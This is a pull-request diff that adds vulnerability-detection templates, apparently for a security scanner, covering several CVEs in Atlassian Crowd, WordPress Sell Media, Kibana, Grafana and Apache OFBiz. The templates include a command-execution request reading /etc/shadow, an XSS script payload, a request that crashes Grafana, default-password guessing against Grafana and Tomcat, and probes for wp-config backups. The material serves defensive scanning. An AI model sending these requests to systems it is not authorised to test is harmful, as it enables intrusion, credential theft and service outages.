Merge pull request #312 from dwisiswant0/tpl/add-cves

Add CVEs (CVE-2020-9496, CVE-2019-6112 & CVE-2019-11580)

cves/CVE-2019-11580.yaml

@@ -0,0 +1,38 @@
+id: CVE-2019-11580
+
+info:
+  name: Atlassian Crowd & Crowd Data Center - Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+
+  # Atlassian Crowd and Crowd Data Center
+  # had the pdkinstall development plugin incorrectly enabled in release builds.
+  # Attackers who can send unauthenticated or authenticated requests
+  # to a Crowd or Crowd Data Center instance can exploit this vulnerability
+  # to install arbitrary plugins, which permits remote code execution on
+  # systems running a vulnerable version of Crowd or Crowd Data Center.
+  # All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x),
+  # from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x),
+  # from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x),
+  # from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x),
+  # and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability.
+  # -
+  # References:
+  # > https://github.com/jas502n/CVE-2019-11580
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
+      - "{{BaseURL}}:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "root:*:"
+          - "bin:*:"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2019-6112.yaml

@@ -0,0 +1,30 @@
+id: CVE-2019-6112
+
+info:
+  name: WordPress Plugin Sell Media v2.4.1 - Cross-Site Scripting
+  author: dwisiswant0
+  severity: medium
+
+  # A Cross-site scripting (XSS) vulnerability
+  # in /inc/class-search.php in the Sell Media plugin v2.4.1 for WordPress
+  # allows remote attackers to inject arbitrary web script or HTML
+  # via the keyword parameter (aka $search_term or the Search field).
+  # --
+  # References:
+  # > https://github.com/graphpaperpress/Sell-Media/commit/8ac8cebf332e0885863d0a25e16b4b180abedc47#diff-f16fea0a0c8cc36031ec339d02a4fb3b
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/sell-media-search/?keyword=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "id=\"sell-media-search-text\" class=\"sell-media-search-text\""
+          - "alert(1337)"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2019-7609.yaml

@@ -0,0 +1,39 @@
+id: CVE-2019-7609
+
+info:
+  name: Kibana Timelion Arbitrary Code Execution
+  author: dwisiswant0
+  severity: critical
+
+  # Kibana versions before 5.6.15 and 6.6.1
+  # contain an arbitrary code execution flaw in the Timelion visualizer.
+  # An attacker with access to the Timelion application could send a request
+  # that will attempt to execute javascript code.
+  # This could possibly lead to an attacker executing arbitrary commands
+  # with permissions of the Kibana process on the host system.
+  # --
+  # References:
+  # - https://github.com/mpgn/CVE-2019-7609
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/api/timelion/run"
+      - "{{BaseURL}}:5601/api/timelion/run"
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
+      Content-Type: "application/json; charset=utf-8"
+    body: "{\"sheet\":[\".es(*)\"],\"time\":{\"from\":\"now-1m\",\"to\":\"now\",\"mode\":\"quick\",\"interval\":\"auto\",\"timezone\":\"Asia/Shanghai\"}}"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "seriesList"
+        part: body
+      - type: word
+        words:
+          - "Content-Type: application/json"
+        part: header
+      - type: status
+        status:
+          - 200

cves/CVE-2020-13379.yaml

@@ -0,0 +1,21 @@
+id: CVE-2020-13379
+
+info:
+  name: Unauthenticated Grafana DoS
+  author: pxmme1337
+  severity: medium
+
+  # Source:-  https://www.exploit-db.com/exploits/48638
+  # WARNING
+  # This vulnerability results in complete crashing of the grafana-server application.
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
+      - '{{BaseURL}}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
+      - "{{BaseURL}}/"
+    matchers:
+      - type: status
+        status:
+          - 502

cves/CVE-2020-9496.yaml

@@ -0,0 +1,55 @@
+id: CVE-2020-9496
+
+info:
+  name: Apache OFBiz XML-RPC Java Deserialization
+  author: dwisiswant0
+  severity: medium
+
+  # This temaplte detects a Java deserialization vulnerability in Apache
+  # OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for
+  # versions prior to 17.12.04.
+  # --
+  # References:
+  # - https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz
+
+requests:
+  - raw:
+      - |
+        POST /webtools/control/xmlrpc HTTP/1.1
+        Host: {{Hostname}}
+        Origin: http://{{Hostname}}
+        Content-Type: application/xml
+
+        <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
+
+      - |
+        POST /webtools/control/xmlrpc HTTP/1.1
+        Host: {{Hostname}}:8080
+        Origin: http://{{Hostname}}:8080
+        Content-Type: application/xml
+
+        <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
+
+      - |
+        POST /webtools/control/xmlrpc HTTP/1.1
+        Host: {{Hostname}}:8443
+        Origin: https://{{Hostname}}:8443
+        Content-Type: application/xml
+
+        <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "faultString"
+          - "No such service [ProjectDiscovery]"
+          - "methodResponse"
+        condition: and
+        part: body
+      - type: word
+        words:
+          - "Content-Type: text/xml"
+        part: header
+      - type: status
+        status:
+          - 200

default-credentials/grafana-default-credential.yaml

@@ -0,0 +1,61 @@
+id: grafana-default-credential
+info:
+  name: Grafana Default Credentials Check
+  author: pdteam
+  severity: high
+
+requests:
+
+    # https://grafana.com/docs/grafana/latest/administration/configuration/#disable_brute_force_login_protection
+    # https://github.com/grafana/grafana/issues/14755
+    # Grafana blocks for 5 minutes after 5 "Invalid" attempts for valid user.
+    # So make sure, not to attempt more than 4 password for same valid user.
+
+  - payloads:
+
+    # grafana_username:
+    #  - admin
+
+      grafana_password:
+        - prom-operator
+        - admin
+
+    # Added default grafana and prometheus user.
+    # Source:- https://stackoverflow.com/questions/54039604/what-is-the-default-username-and-password-for-grafana-login-page
+
+    attack: sniper
+
+    # Available types: sniper, pitchfork and clusterbomb
+
+    raw:
+      - |
+        POST /login HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
+        Accept: application/json, text/plain, */*
+        Accept-Language: en-US,en;q=0.5
+        Referer: {{BaseURL}}
+        content-type: application/json
+        Connection: close
+
+        {"user":"admin","password":"grafana_password"}
+
+     # grafana_password will be replaced with payloads and will attempt admin:prom-operator and admin:admin
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - grafana_session
+        part: header
+        # Check for 'grafana_session' cookie on valid login in the response header.
+
+      - type: word
+        words:
+          - Logged in
+        part: body
+        # Check for valid string on valid login.
+
+      - type: status
+        status:
+          - 200

default-credentials/tomcat-manager-default.yaml

@@ -1,6 +1,6 @@
-id: tomcat-manager-bruteforce
+id: tomcat-manager-default
 info:
-  name: tomcat-manager-bruteforce-fuzzing
+  name: tomcat-manager-default-password
   author: pdteam
   severity: high
 
@@ -18,9 +18,6 @@ requests:
         - 12345
         - 123456
 
-
-    # Make sure you have your wordlist on the defind path.
-
     attack: clusterbomb  # Available options: sniper, pitchfork and clusterbomb
 
     raw:

security-misconfiguration/wordpress-accessible-wpconfig.yaml

@@ -1,7 +1,7 @@
 id: wordpress-accessible-wpconfig
 info:
   name: WordPress accessible wp-config
-  author: Kiblyn11 & zomsop82 & madrobot
+  author: Kiblyn11 & zomsop82 & madrobot & geeknik
   severity: high
 requests:
   - method: GET
@@ -12,6 +12,10 @@ requests:
       - '{{BaseURL}}/wp-config.php.bak'
       - '{{BaseURL}}/wp-config.php.old'
       - '{{BaseURL}}/wp-config-backup.txt'
+      - '{{BaseURL}}/wp-config.php.save'
+      - '{{BaseURL}}/wp-config.php~'
+      - '{{BaseURL}}/wp-config.php.orig'
+      - '{{BaseURL}}/wp-config.php.original'
       - '{{BaseURL}}/wp-license.php?file=../..//wp-config'
       - '{{BaseURL}}/_wpeprivate/config.json'
     matchers:

workflows/grafana-workflow.yaml

@@ -0,0 +1,15 @@
+id: grafana-workflow
+
+info:
+  name: Grafana Workflow
+  author: pdteam
+
+variables:
+  grafana_login: panels/grafana-detect.yaml
+  grafana_cred_check: default-credentials/grafana-default-credential.yaml
+
+logic:
+  |
+  if grafana_login() {
+    grafana_cred_check()
+  }

workflows/rabbitmq-workflow.yaml

@@ -6,7 +6,7 @@ info:
 
 variables:
   rabbitmq_dashboard: panels/rabbitmq-dashboard.yaml
-  rabbitmq_default_admin: security-misconfiguration/rabbitmq-default-admin.yaml
+  rabbitmq_default_admin: default-credentials/rabbitmq-default-admin.yaml
 
 logic:
   |